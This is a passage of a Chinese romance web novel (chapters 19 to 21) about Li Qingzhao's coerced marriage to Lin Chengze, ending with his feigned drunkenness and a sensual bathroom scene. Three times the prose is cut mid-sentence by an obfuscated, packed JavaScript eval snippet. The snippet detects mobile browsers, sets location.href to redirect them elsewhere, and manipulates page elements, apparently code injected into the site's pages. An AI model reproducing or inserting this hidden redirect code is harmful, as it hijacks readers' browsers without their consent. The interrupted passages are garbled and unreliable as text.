“我今天一定要买买买,不然我心里出不了这口气。你说,我都这么舔狗了,Johnson为什么还是要和我分手?”赵悯粤看到好友就开始喋喋不休地发牢骚,恨不得把这段时间受的委屈都倾诉出来,“你也知道,我这么高自尊的人,真的很少主动挽留、主动追人。” 黎清昭自己的感情也是一塌糊涂,她耸了耸肩,伤感地说:“可能是因为你和他没有缘分吧。以前我不相信这东西,但是悯悯,我现在信了。” 人算终究抵不过天算。 自己写的再好的剧本在命运面前都不堪一击。 赵悯粤不认同她的观点,她觉得黎清昭变得悲观了,“我和他还没有缘分?那为什么他来国内交换一年,我俩就认识了呢?为什么他语言不通,和人闹了矛盾,酒吧里那么多人,他就准确无误地找到我帮忙呢?” 黎清昭也不知道怎么安慰好友,只能耐下心听她说。 赵悯粤这人脾气也风风火火的,直性子,主打有火就发,有事就吐槽,等她把情绪发泄完了,人也就好了。 果不其然,赵悯粤说到喉咙发干,眼睛发涩,喘了两口粗气,又笑眯眯地看着她,“你怎么不说话了?你和蔺逸远最近怎么样?怎么觉得你好像不太开心。” 黎清昭和蔺逸远谈恋爱的事,他们的朋友都知道,毕竟去年黎清昭过生日的时候,蔺逸远提前给她准备个惊喜,当时这事轰轰烈烈的,周围人尽皆知。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188594|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也是因为这件事,黎清昭才把她和蔺逸远青梅竹马的事告诉大家。当时,大家都可羡慕她了,黎清昭也洋洋得意地炫耀自己就是最幸福的人。 不过前后才一年半的时间,过去的美好瞬间沦为泡沫。 黎清昭瘪了瘪嘴,忽然有些委屈,“分手了。” “啊?” 黎清昭云淡风轻地把这两个月的遭遇告诉了好友,还给她看了眼手上的戒指。 赵悯粤震惊得瞪大双眼,“还能这样吗?” 黎清昭也不知道怎么回,“可能是我和他没有缘分吧。” “算了算了,不聊这种糟心事了,男人没有一个好东西。”赵悯粤把话题扯开,“咱们去买包包,还有我给你带了个瓶子回来,包好看的,等改天拿给你哦。” 黎清昭在她胳膊上贴了贴,“谢谢你,失恋了还记得给我带瓶子。” “切,男人哪有姐妹重要?对了,你毕设想好选题了吗?” 他们专业的毕设需要完成一个十五到二十分钟的短片,从选题到拍摄到后期的配音剪辑,都需要一个人完成。 “有点想法,但还没想清楚。”黎清昭最近因为和蔺承则的婚事,更是没有这个心思。 “唉,我也是,算了,不聊这些不高兴的,逛街吧,太久不见,我都想你了。” 黎清昭对待朋友才不会像对待老公那样毒舌,“我也想你了。” 两人买了一堆东西,随后又约着去美容院做spa,好巧不巧,居然在美容院碰到了陈玉梅。 陈玉梅最近也因为蔺逸远的事发愁,比上次黎清昭见到她的时候老了不少,青丝中夹杂着几根白发,眼尾的细纹格外明显。 陈玉梅显然也看到了黎清昭,她露出一个笑,对着黎清昭招手,让她过来。 “昭昭,你自己行吗?”赵悯粤拉住她。 黎清昭正好想知道蔺逸远的近况,“没事,我很快回来。” 黎清昭笑意盈盈地叫了声“陈姨”。 陈玉梅像以前一样牢牢地攥住她的手,“这几天天凉了,怎么穿的这么少。” 她身上只穿了一件浅黄色的毛衣开衫,下身一条白色裙子。 黎清昭说不冷,“陈姨,逸远现在怎么样?” “出国了,说要去散散心。” 黎清昭扯了扯嘴角,“散散心挺好的。陈姨,这事我也不知道怎么就弄成了这样,你也知道,这并不是我的本意。我也知道,现在说这些没什么用,受伤的确实是逸远。我也不想再浪费口舌,但我希望你和逸远好,这话是真的,我希望他好,也希望你好。” 陈玉梅泪眼婆娑,目光混浊,攥紧她的手,“昭昭,你领证这事,你再替阿姨瞒逸远一段时间,我怕他受刺激。” 黎清昭当然知道陈玉梅的意思,无非是让蔺承则帮忙隐瞒。 “好,我答应你,我会管好他,不让他乱说。” “好孩子。”陈玉梅擦了擦眼尾的泪,“好了,你去忙吧。” “嗯。” 因为中途中途这个小插曲,黎清昭做按摩的时候一直心神不宁。 这还是分开之后,她第一次去寻找他的动态。她点开朋友圈,蔺逸远设置了仅三天可见。她又翻到他的微博,没有分享过最近的动态。她打开ins,才看到前几天他发了张在医院打点滴的照片。 黎清昭心里多少都有些不好受,她甚至自私地想过,她宁愿蔺逸远就留在国外别回来了,她希望他永远不知道她和蔺承则领证的消息。 她冥冥之中总有一种不好的预感,基于她对蔺逸远的了解,她觉得他不会轻易就此善罢甘休。 可他又能做什么呢? 她不知道。她觉得他在蔺承则面前掀不起什么大风大浪。 “昭昭,你想什么呢?叫你好几声都听不见。” 黎清昭愣了一下,摇摇头,“你刚刚说什么?” “晚上要不要一起去酒吧?” “算了,我先不去了,我得去接猫呢。” “那好吧。” 和赵悯粤一起做完spa,黎清昭回家把两只猫接上,就直接回了蔺承则的别墅。 仙女和饭团从猫包里出来,好奇地打量着陌生的新家。黎清昭让他们俩有应激反应,把仙女最爱的垃圾桶和饭团最爱的纸盒箱都带过来了。她养的这两只猫是个奇葩,不爱住猫窝,就爱睡在乱七八糟的地方,还偶尔打架。 所幸,两个小家伙适应得还不错,没多久就在猫爬架上飞来飞去。 黎清昭见状,直接把心放肚子里,任由两只猫探索新家,自己则慢悠悠地去洗漱,顺便等蔺承则回来。 今天逛街,她顺手给他买了领带和袖扣,需要他的夸奖。而且她还打算和他好好聊一聊蔺逸远的事,毕竟她今天答应了陈玉梅。 结果,男人愣是到了半夜十一点才到家,还带着满身酒气,黎清昭直接被他气炸了。 20. 装醉 蔺承则今晚心情有些不好,应蔺老太太的要求,他今天下午抽空回了趟蔺家。 老太太不知道在哪听说,蔺逸远出国之后,蔺承则把他手里的项目都给了别人。这次老太太叫他回家,无非是为了充当粘合剂,缓和他和蔺逸远的关系。 两个都是她的亲孙子,手心手背都是肉,蔺逸远算是这场婚姻的受害者,老太太自然对他多些偏心,于是她苦口婆心地给蔺承则上了一门课,告诉他对弟弟要多些包容,不能赶尽杀绝。 蔺承则其实早就习惯长辈们的偏心,他不愿意在这种琐事上浪费时间,便解释说:“没人要逼他离开公司,是他太过意气用事,一句心情不好要去散心,就抛下谈到一半的项目出了国。项目总要推进,他这个负责人联系不到,自然要提拔有能力负责人的负责人。” 老太太叹了口气,她也是明辨是非的人,“原来是这样,这倒是逸远的问题。” 她随即扯开话题,“你和清昭那孩子怎么样?别欺负人家,那丫头挺惹人稀罕的。” “这一点您放心,我会照顾好她,不会让她受委屈。” 老太太摆了摆手,“你们年轻人有自己的想法,我这个半截子身子埋到土里的人就不掺和了。” 蔺承则点了点头,便关上门离开。 他不打算在蔺家长呆,下楼后取下外套正要离开,出门时正好碰到陈玉梅拎着大包小包从车上下来。 蔺承则挑了挑眉,礼貌性地叫了声“陈姨”。 陈玉梅对蔺承则有意见早就不是一天两天的了,可以说,蔺承则突然插手搞砸蔺逸远的婚事,打破了她所有的计划。 她是一个第三者上位的女人,说没有手段是假的。这些年,她非常自豪能生下一个宝贝儿子巩固她在蔺家的地位。但又愧疚自己不是出身名门的小姐,没有娘家给儿子当后盾。所以,她把全部的希望都寄托在蔺逸远和黎清昭的婚事上,心想两人结婚之后,有了黎家的支持,蔺逸远在公司的路会好走些。 这些年,黎清昭每次来家里,她都是真心拿对方当儿媳妇对待的。 结果万万没想到,只不过是为他人作嫁衣裳。 陈玉梅眼看着蔺承则抬腿离开,突然叫住了他,“承则。” “陈姨,还有事吗?” 陈玉梅仰头看着蔺承则,心想他好歹也算是自己看着长大的,这么多年,她怎么从没看透他,她不明白,他是什么时候对黎清昭动了心思。 陈玉梅露出一个得体的笑,“承则,逸远贸然出国,扔下公司的一堆烂摊子给你,这事他做的不妥当,他不懂事,我也教训他了,我替他向你道歉。” “无妨。” 蔺承则是真不在乎这些小事,公司有能力的人很多,只是一个蔺逸远离开而已,公司又不是不能转了。况且他这个弟弟没经过现实的毒打,太单纯,太为所欲为,他倒是由衷希望他能长长记性。 陈玉梅摸索着手腕上的玉镯子,“还有件事,我今天和清昭说,她答应了。我思来想去,还是得和你说一声。你和清昭领证这事,还是得帮陈姨先瞒着逸远。” 蔺承则闻言,眉头蹙了起来。 他好整以暇地看着面前的女人,“您今天约了清昭?” 陈玉梅自然知道蔺承则生性多疑,故意夸张地说:“不不不,承则,你误会了,我是去美容院做保养,恰好碰到了她,就聊上两句。” “她答应了?” “嗯,清昭和我的想法一样。逸远现在太敏感,这件事不能告诉他。” 蔺承则眯了眯眼睛,轻“嗯”一声表示知道了,随后便驱车离开。没人注意到,车里的男人脸色黑成了一道线。 他很气黎清昭的态度,凭什么擅自答应向蔺逸远隐瞒他们已经领证的事。 她就这么偏心蔺逸远吗?处处为他着想,关心他的情绪。 还是她打心眼里觉得,和他蔺承则结婚是一件很不齿的事? 蔺承则心情不太爽,恰好晚上约了和从沪城来的陈总要谈项目,就难得在酒桌上多喝了几杯。 这位陈总没什么文化,出身草根吃过不少苦,年轻时胆子大,赶上时代风口捞了不少利,迅速积累资本。不过即使再用金钱伪装,身上还是带着那股市井气。 这些年,他在圈里的名声是出了名的差,所有人都知道他好色,猎奇,在美国加州的“二奶村”养了不少女人。本以为年纪大了会老实,结果现在将近花甲之年,依旧色心不改。 陈总在酒桌上喝的五迷三道之后,又撺掇着让蔺承则带他去高级会所打桌球。每一个行业都有每一个行业的潜/规则,蔺承则当然懂对方的潜台词。 他陪着陈总打了几局桌球,又喝了两杯酒,最后对方红着脸搂着两个大波浪卷发的小妞摇摇晃晃地离开。 临行之前,陈总还恬不知耻地邀请他一起。 蔺承则其实最厌恶和这种人谈生意,他看不惯这种人的行径。 都说“物以类聚,人以群分”,若不是为了生意,他这辈子也不愿意和这种人产生交集。 蔺承则没说他是多么多么的洁身自好,只是委婉地拒绝,说:“我不像陈总,我太太管的比较严,还在家里等我。” “蔺总已经结婚了?我怎么没听到消息。什么时候带贵夫人出来聚一聚?” “刚领证不久。蔺某不喜生活在媒体的曝光下,所以还没有公开。” 陈总拍了拍他的肩膀,一脸猥琐地说:“那行,等结婚蔺总别忘了邀请我,我就先走了。” 说完,在小妞的屁股上拍了一下。 蔺承则见到他离开,嫌弃地把衣服外套脱掉扔给助理周正,“扔掉吧。” 周正好奇地问:“您怎么突然要和陈总合作了?” 他知道,蔺承则一向看不起这种人。 “给大舅子多争取点利益,不然他怎么看我都不顺眼。” 这是黎清昭婚前给他下达的命令,让他这个做女婿的自己搞定她的娘家人。 黎老爷子和黎乾岳本来就很赞同这门婚事,对他没什么意见。蒋辞毕竟是个后妈,黎清昭又和她不对付,蔺承则自然也不把她放在眼里。 这么一算,最难搞定的就是黎执渊这个护妹狂魔了。 “您是说黎总,他现在还不搭理您呢?”周正觉得好笑,很久没见蔺承则这么憋屈过。 自从蔺承则逼黎清昭嫁给他,黎执渊到他办公室找他聊这事,两人不欢而散后,黎执渊就没再正眼瞧过他。 再然后,蔺承则就突然撤掉了对黎家新项目的所有投资,把黎家往绝路上逼。 在周正的视角里,蔺承则和黎执渊一起长大,合作多年。都说商人奸诈,六亲不认,可两人这些年就从来没因为一点蝇头小利闹过矛盾。 结果一闹就声势浩大、就往决裂上闹。 而且,两人的立场,他都可以理解,无非是一个为了娶老婆,另一个为了护着妹妹。 蔺承则扫了他一眼,“你不会说话,可以闭嘴。” 周正勾了勾唇,给他拉开车门,“送你回家?” “嗯。”蔺承则揉了揉眉心,觉得太阳穴胀得疼,“我看,清昭那个倔脾气就是随了他亲哥,两人同父同母,一个比一个倔。” 周正心想,你也挺倔的,人家黎小姐不喜欢你,哭着闹着拒绝你,而你却不择手段,硬生生逼着人家嫁给你。 不过,他从后视镜看到男人疲惫地闭上了眼睛,就没再说话。 晚上十一点,街上的车流量不如白天多。车子一路疾驰,最终停在别墅前。 “我送你进去。”周正要下车。 蔺承则摆了摆手,“没醉。” 男人从车上下来,把眼镜摘下来捏在手里就推门而入。这个时间,家里新聘的阿姨已经睡了,楼下只开了一盏昏黄色的灯,家里安安静静的,一点儿动静都没有。 蔺承则觉得,黎清昭一定也睡着了。他不在家,她指不定自己躲到哪里去睡了呢。 他扶着墙上楼,轻手轻脚地推开卧室的门,打算看一看他的小妻子有没有听他的话,和他睡同一间房。 结果门一打开,一个灰色的抱枕就飞了过来。 蔺承则毫无防备,也可能是因为喝了不少酒反应迟钝,他没躲开,硬生生被抱枕砸到脸上。 “你还知道回来,都几点了?你不知道我一直在等着你吗?”黎清昭盘腿坐在床上质问他。 她自己都没意识到,她现在兴师问罪的语气,很像关心丈夫晚归家的妻子。 她居然在等着他回家。 蔺承则心头涌上一股暖意。 他弯腰把抱枕捡起来,拍了拍上面的灰,轻轻放在沙发上,“怎么还没睡?困不困?” 见她没回答,小脸拉着,眼神锋利。他勾了勾唇,开始变得不正经,“在等我伺候你?” 黎清昭被他说得脸红,“你别胡说,我看你的心是黄色的,脑子里装的都是黄色废料。” “是吗?昭昭这么了解我?” 随着男人的距离越来越近,黎清昭闻到了浓烈的酒气,她蹙了蹙眉,嫌弃地捂住鼻子,“你喝酒了?” “嗯,应酬。”蔺承则坐在床边,圈着她的腰就往怀里拉,故意试探地问她:“今天和谁去逛街了?都买了什么东西?开不开心?” 黎清昭抵住他的胸膛,皱着脸说:“我说没说过,不许喝的烂醉回来?这是我的婚前要求,你答应过的。” 蔺承则反问她:“我是不是也说过,不许再和蔺逸远有来往。昭昭,这是我的婚前要求,你也是答应过的。” 黎清昭觉得狗男人喝醉了存心在诡辩,在故意找茬,“你不要转移话题,不要往我身上泼脏水,我们现在在聊的是你的问题。早知道你喝这么多酒,我就不该让你进家门。” “不让我进家门我去哪啊,老婆?” 这还是他第一次开口叫她“老婆”,黎清昭多少有些招架不住,她拍开他的手,“爱去哪去哪,睡大街也不关我的事。” 蔺承则抬手去捏她的脸蛋,突然不想和她追究她和陈玉梅见面的事了。 比起那些可有可无的东西,他更在意她对他的态度,在意对他这个丈夫是否足够关心。 毕竟今晚,他应酬晚回家,她就一直在乖乖等他。 这是不是说明,其实她也很在意他? “这是谁家的小小姐,怎么这么霸道,这么狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197426|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心?” 黎清昭以前怎么不知道他这么油嘴滑舌,“喂,你不要扯开话题,我在说你的问题,你以后要是再喝的烂醉,你就不许进卧室。” “嗯,我知道了。”蔺承则闭上眼睛,把头靠在她的肩膀上。 黎清昭只知道男人力气大,没想到他的头也够沉的,直接砸在她身上,压的她喘不过来气。 “你讨不讨厌,快滚去洗澡啊!”黎清昭用力推他的头,早就忘了自己熬夜等他回来的目的。 蔺承则本来就歪歪斜斜地靠在她身上,被她这么一推,人就直接躺在了床上,还闭上了眼睛。 眼看着今天新换的香喷喷的粉色床单被醉鬼霸占,黎清昭更生气了,她直接跪在床上,捞起他的胳膊就往床下推他。 可无奈,她的力气太小,额头上沁出一层汗水,小脸蛋憋的通红,他还是一动不动。 黎清昭确实很执拗,她心想今天不把他拖下床,她就跟他姓。她跳到地毯上,扯着他的胳膊往下拉他,男人微微动了动,看了他一眼,又闭上了眼睛。 “别装死。”黎清昭在他腿上踢了一脚。 蔺承则喉结滚动,“老婆,我喝。” “渴死你才活该。”黎清昭刀子嘴豆腐心,嘴上虽然这么说着,却真给他倒了一杯水来。 “喝!”她蹲在他面前,把水杯递给他,“你可别多想,我这叫礼尚往来,报答你上次照顾我。你要是下次再喝得找不到北,我非把你赶出去。” 蔺承则喉咙真有些发干,他把那一杯水都喝光了,随后两手一摊,仰面躺在了床上。 见他这样,黎清昭放弃了今晚在这屋睡。她又踢了他一脚,努力拉她身下的被子,“盖上被子你再睡。” 蔺承则顺势攥住她的胳膊,轻轻往前一拉,她就栽到了他的胸膛上。 蔺承则牢牢地抱住她,贪婪地闻她身上的香气,“老婆,别走,和我说说话。” 黎清昭觉得他喝醉了人都变得幼稚了,“有什么好说的?我和醉鬼没有共同话题。” 蔺承则摸了摸她的头发,手不知道什么时候从她的睡衣下端探了进来,“我今天去应酬,结束后那个陈总去找女人,叫我一起,我拒绝了,我告诉他,我太太还在等我回家。” 黎清昭若有所思地看着他,“你这算是在报备?” 领证之前,黎清昭虽然提了不许他和其他女人过于亲密的要求。但她知道男人是下半身行走的动物。她想过她才不会真在意他在外面没有胡搞,只要不闹到她面前,不闹到媒体面前,不影响她生活的稳定性,不扫她的面子,她不会主动去追求、去捉奸。 甚至在领证的前一天晚上,她还奢望他最好是突然看上了别人,这样她就不用和他结婚了。 而现在,他简单温和的记录话,却将她平静的心搅得荡漾。才领证第二天,她就不止一次感觉,他是真的想好好和她过日子。 “嗯。”蔺承则捏住她的腰肢,“清昭,你放心,我绝对不会做背叛我们婚姻的事。” 他这么说,黎清昭的好奇心也被勾起来了,她故意趁着他喝醉捏住他的鼻子,“那我问你,你以前谈过几段恋爱,分别多长时间,因为什么分手的?必须如实回答。” 虽然蔺逸远一直说他哥单身多年,身边一个女人都没有,就连养的狗都是男的,但黎清昭还是不信。 她认为,就凭借蔺承则这张优越的脸和身材,不可能没有女人扑上来。更何况,他独自在外留学多年,要是谈了女朋友想有意隐瞒,蔺家人不知道也很正常。 蔺承则把她的手攥进掌心,“没谈过,只有你一人。” 黎清昭轻“切”了一声,心想男人这种生物真是厉害,喝得找不到北了,嘴巴还是这么硬。 她想,他迟早有一天会把他的嘴撬开。 “那我再问你一个问题。”黎清昭又去捏他的耳朵,“你为什么非要娶我?是不是因为我是逸远的女朋友,所以你要抢过来。” 蔺承则觉得小东西绝对在公报私仇,趁着他“喝醉”,又是捏他的鼻子,又是捏他的耳朵。 要是平时,她绝对不敢这么做。 “不是。”他回答。 “那是为什么?” 蔺承则抬眸看了眼她,又闭上眼睛,不说话。 “喂,你倒是回答啊。”黎清昭攥着他的衣领摇晃。 蔺承则真被她摇的有些头疼,又睁开眼,随手把领带扯掉扔在一边,然后又伸手解皮带,“啪嗒”一声,他缓缓把皮带抽出来。 他在做别的事,不像刚刚那样两只手圈着她,她重获自由,便从他身上爬下来,低眸看着他手上的动作。 “你要睡觉了?还挺讲究,喝醉了还知道脱衣服睡。” 黎清昭打算离开,蔺承则突然攥住她的手,把她拉到自己的腿上。 蔺承则知道她嫌弃他喝了酒,没敢深亲她,只是在她的额头上蜻蜓点水地印下一吻,“不睡,我要先洗澡。” 黎清昭匪夷所思地看着他的醉态,笑着评价他说:“好习惯,还知道洗过澡再睡觉。” 下一秒,男人的话一出,她脸上的笑立刻消失。 他说:“老婆,你帮我。” 21. [锁] [此章节已锁] “老婆,帮帮我好不好?”见黎清昭不说话,蔺承则攥住她的手。 他的手很大,能把她的小手完全包裹住,她能感觉到他掌心粗糙的纹路。 黎清昭挣脱掉他的束缚,抬手抵住他的胸膛,义正言辞地说:“不行,你别想让我伺候你。我刚刚给你倒一杯水已经很给你面子了。” 蔺承则就知道她不会轻易同意,他的小妻子可是出了名的傲娇。 他把她的腰搂得更紧了一些,再一次把头埋在了她的肩窝,一动不动,像是寻求人庇佑的小兽。 黎清昭心微微发颤,感到他的呼吸越来越滚烫、混浊,夹杂着若有若无的酒气,喷洒在她的肌肤上。 他长时间没动静,她还以为他是睡着了。 黎清昭蹙着眉头,心想喝醉了的男人可真难搞定。她用食指轻轻地戳了戳他的后背,“你睡着了?” 过了大概有两秒,他缓缓开口,“没有。” “那你这样干嘛?”她又推了推他的脖子,像是粗暴地在推一个不倒翁,“你压的我肩膀酸。” “看不出来吗,我在求你。”蔺承则抬眸,深棕色的瞳孔倒映着她的身影,在他的眼中,她能看到自己活灵活现的小表情。 黎清昭觉得他太会拿捏她了,他刚刚尝到了甜头,诱惑着她给他倒水,所以故技重施,一而再再而三地对她示弱。 平时强势霸道惯了的男人喝醉酒跟她示弱。 黎清昭心里涌上一股强烈的满足感。要不是手机没在手边,她真想把他的醉态录下来,以后慢慢欣赏。 不过,让她伺候他洗澡这事,她还是不愿意。 她堂堂一个十指不染阳春水的大小姐,居然要帮毫不熟悉的丈夫洗澡。 简直天方夜谭。 “不行不行,你别想忽悠我。”黎清昭的语气没有刚刚那么笃定。 蔺承则抬手刮了刮她的鼻子,他也没打算真让她伺候他,他又不是皇帝。他也知道她这个高傲的人断然不会答应。于是,他后退一步,折中说:“我怕我神志不清,可能会在浴室里摔倒。要不然,你在卧室等着我,先别睡,我要有什么事叫你,好不好?” 黎清昭觉得这样还行得通,她也没怎么吃亏。她看着男人可怜兮兮的样子,打了个瞌睡,勉为其难地说:“那好吧,我就再撑一会儿。你可记得,我今天为了你可是放弃了我的美容觉。” 蔺承则轻“嗯”一声,没拆穿她。 虽然这才是他们同居的第二天,但他可以猜到,她可不是生活作息很规律的人。 “谢谢老婆。”蔺承则没忍住,又在她柔软的嘴唇上亲了一下。 他觉得她的嘴唇比果冻还软,亲起来让人上瘾,让人食髓知味。 “对了,你快一点洗,我已经很困了。”黎清昭催促这个醉鬼。说实在的,她都怕他在浴室里睡着了。 蔺承则把她松开,毫不避讳地当着她的面把衬衫解开,随手脱掉,扔到沙发上。 动作一气呵成,慵懒又潇洒。 没了那层柔软布料的遮挡,男人精壮的腹肌悉数展现在她面前。她知道他常年健身,上次在他办公室帮他处理伤口也算是见过他的身体,当时她光顾着羞耻了,只能偷偷的欣赏。现如今,她身份发生了转变,脸皮变厚了,看他的眼神都充满了色/欲。 他的身体真的好性感啊。 是她喜欢的类型,有肌肉,有力量感,充满男性荷尔蒙的气息。 但又不夸张,不恐怖。 蔺承则虽然没戴眼镜,但还是将她的眼神尽收眼底,他引诱她:“要不要来验验货?看看你老公行不行?” 黎清昭没钻进他的圈套,她抱着胳膊轻哼一声,“难不成你的体检报告在造假?” 领证之前,两人都做了婚检,报告显示,他身体没有一丁点问题,尤其是精/子质量,非常过关。 “你别趁着喝醉就撩拨我,还开黄腔。”黎清昭白了他一眼,“我告诉你,没用,你再张扬得像个花枝招展的孔雀,我也对你不感兴趣。” 蔺承则当然知道她说的是玩笑话,可心里还是涌上一股酸涩。他想问问她,不对他感兴趣对谁感兴趣,蔺逸远吗? 也对,按照她原来的计划,她会和蔺逸远结婚,会和蔺逸远做夫妻之间应该做的事情。 而不是他。 蔺承则没再和她口舌之争,他知道,真要较起真来,他说不过她。毕竟她伶牙俐齿的程度无人可比拟。 而且,真计较下去,他就有几分自取其辱的意思了。 蔺承则扯了扯嘴角,独自一人进了浴室。 黎清昭还算信守承诺,窝在凌乱的床上玩手机,直到看到赵悯粤给她发的酒吧腹肌男的照片,她才骤然想起,她等老混蛋等到这么晚,是有要紧事和他商量的。 黎清昭咬了咬唇,把手机扔在床上,蹑手蹑脚地走到浴室外,竖着耳朵听着里面的动静。 磨砂面的玻璃,灯光照在她身上,勾勒出模糊的倩影。 蔺承则看着那道身影,突然开口,“清昭。” 黎清昭立刻跑开,假装扯着嗓子回答,“干嘛?” “你洗完澡之后把沐浴露放哪了,我找不到。”他随口胡说。 黎清昭抠了抠手指,“应该就在老地方啊,第二层架子上,你找找有没有。” 蔺承则压根就没找沐浴露,“没有,你帮我拿一瓶新的。” 黎清昭真不愿意伺候人,“那你别涂沐浴露了,随便冲一冲袪祛酒味就得了。” “你洗澡不涂沐浴露可以吗?”他反问她。 “当然不行。” 她是最爱干净爱美的人,洗澡护肤的流程一道程序都不能少。 “那好吧。”她明白了他话里的意思,乖乖给他拿了一瓶新的沐浴露。 “我给你放门口哦。” 黎清昭刚弯下腰,浴室的门就被人从里面拉开,她还没反应过来,人就被他拉着扯到了浴室里。 浴室里雾气朦胧,温度也很高,烘得黎清昭条件反射地闭上眼睛。 蔺承则把她按到磨砂玻璃上,头发上的水渍染湿了她黑色的吊带裙。 男人的肌肤上挂着水珠,手背上青筋暴起,紧紧地攥住她的胳膊,把她钉在自己的围墙之内。 “黎清昭,睁开眼,看着我。”他像是突然从醉意中剥离开,眼神幽深清明,燃着熊熊烈火,语气也霸道强势,让人不敢反抗。 黎清昭的睫毛一直在颤抖,从她被男人强行撸进浴室的那一刻,她的心就“砰砰砰”地跳个不停。 她听到他的话,才颤颤巍巍地睁开眼,眼中晕了一层水雾,“老混蛋,你骗我。” 她不是没怀疑过他在装模作样,可又不相信他这么高傲的人会假装喝醉放在身段求她,他怎么可能这么幼稚? 所以她选择相信了他,还好心地答应照顾他。 结果他呢? 狗东西! 黎清昭眨了眨眼,纤长的睫毛像是蝴蝶的翅膀一样轻颤着,她咬着唇,抬眸又看到了他的胸膛,太色/情了。 她又连忙低下头,完了,更色/情了。 蔺承则看着她的样子觉得好笑,他湿热的掌心托起她的脸蛋,“验货验得还算满意吗?” “你别不要脸了。”她又偷瞄了一眼他昂扬的资本,悻悻地把头偏了过去。 “看过吗?”他蛊惑着问她,声音低沉,伴着淅淅沥沥的水声钻进她的耳朵里。 “你以为这是什么很稀有的东西吗?”黎清昭凭借自己青春期阅片无数的经验,故意绷着脸和他对着干,“是个男人就有,有什么值得骄傲的吗?” 蔺承则果不其然被她的话气笑了,“既然看过,摸过吗?” 黎清昭扬了扬下巴,“看都看过了,怎么可能没摸过?你在看不起谁。” 蔺承则低头,在她的嘴巴上啄了一下,问她:“黎清昭,你知不知道,有时候你这张嘴真的很气人?” 气死人不带偿命的。 “你娶我之前,你就应该知道,我脾气很差,嘴里没好话,从来不吃亏。既然你娶了,你就活该受着。当然,如果你受不了了,我们可以离婚……” 她这人有个毛病,越说越起劲儿,自己说爽了,把情绪发泄了就开心,从不考虑后果。 用蔺承则的话说,她一半亏都吃在嘴巴上。 果不其然,“离婚”这两个字还没说完,蔺承则就提着她的腰把她抱到了盥洗台上。 台面很冰,黎清昭像条搁浅的鱼,急忙往他怀里缩。 蔺承则随手拿了块浴巾,单手把她抱起来,他把浴巾铺好,又重新把她放在盥洗台上。 黎清昭抬脚去踢他,被他攥住脚腕,她的裙摆堪堪贴在他的大腿上。 蔺承则无奈地说:“昭昭,别再勾引我,我自制力没你想象中的那么强。” “谁勾引你了?!!” 黎清昭觉得他在血口喷人,她完全忘了,哪怕她衣冠整齐,对他也有致命的吸引力。 蔺承则圈着她的腰把她往自己怀里拉了拉,拍着她的背轻轻地哄着她,“好孩子,乖。” 好熟悉的话术。 黎清昭突然想起,昨天在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204622|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上,他就这么哄骗的她,然后就把她吃抹干净了。直到今天早上,她都没复盘明白昨晚那事到底是怎么发生的。 他们怎么这么奇葩?前一秒还在吵架,下一秒就滚到了床上。 “你别想。”她拒绝他。 蔺承则在她的臀上拍了一巴掌,故意捏着她的下巴去吻她白皙的脖颈,故意贪婪地在她的肌肤上印下一块红痕。 “黎清昭,我今天很生气。”他直白地向她表露自己的情绪。 黎清昭才不在意他怎么想的,“你生气,我还生气呢!”她的声音往上扬了扬,“死变态,你居然敢骗我,还装醉。我以后要再信任你,我就跟你姓!” 蔺承则抱住发狂的小兽,贴着她的耳朵扯开扯开话题:“你今天等我等到了这么晚,不是有话要和我说吗?不说吗?” 黎清昭满脸纳闷,他怎么知道她有事找他。 “你找人监视我?”她警惕地看着他。 “我没有那么坏,你是我的妻子,不是我的犯人,我找人监视你做什么?”他很无奈,心想什么时候他在他的妻子眼中坏成这样了。 “还说吗?”他给她个台阶下,“不说以后再说我就不答应了。” 这件事黎清昭本来就挺难开口的,她其实一直不知道怎么处理她、蔺承则和蔺逸远之间的关系。所以,虽然她答应了陈玉梅,还理直气壮地承诺自己会说服蔺承则,可她心里,其实一点底气都没有。 现在,他主动说了,她要是再不顺杆爬,按照他睚眦必报的性格,恐怕以后断然不会再答应她。 黎清昭抿了抿唇,“今天去美容院遇到陈姨了,她求我先继续瞒着逸远我们结婚的事。” 见他不说话,她只好自顾自地补充:“我是觉得,逸远情绪太不稳定,我怕他受刺激,又像上次一样,再喝酒喝进医院不太好。我不知道你到底是处于什么目的非要我和你在一起,反正你也不会告诉我。但你得承认的事实是,逸远是我们这段关系的受害者。你是他的亲哥哥,我是他的未婚妻。我们在一起,他很可怜是不是?” 蔺承则没否认。 在决定娶她之前,他已经无数次权衡了利弊。 “所以,我答应陈姨了,我觉得至少要给逸远一个慢慢接受的过程。” 蔺承则认为她的话说得还算比较客观,他们确实没必要对蔺逸远赶尽杀绝,说到底,人是他的亲弟弟,从小屁颠屁颠跟在他身后。他虽然薄情、冷淡,但还不至于到无情的地步。 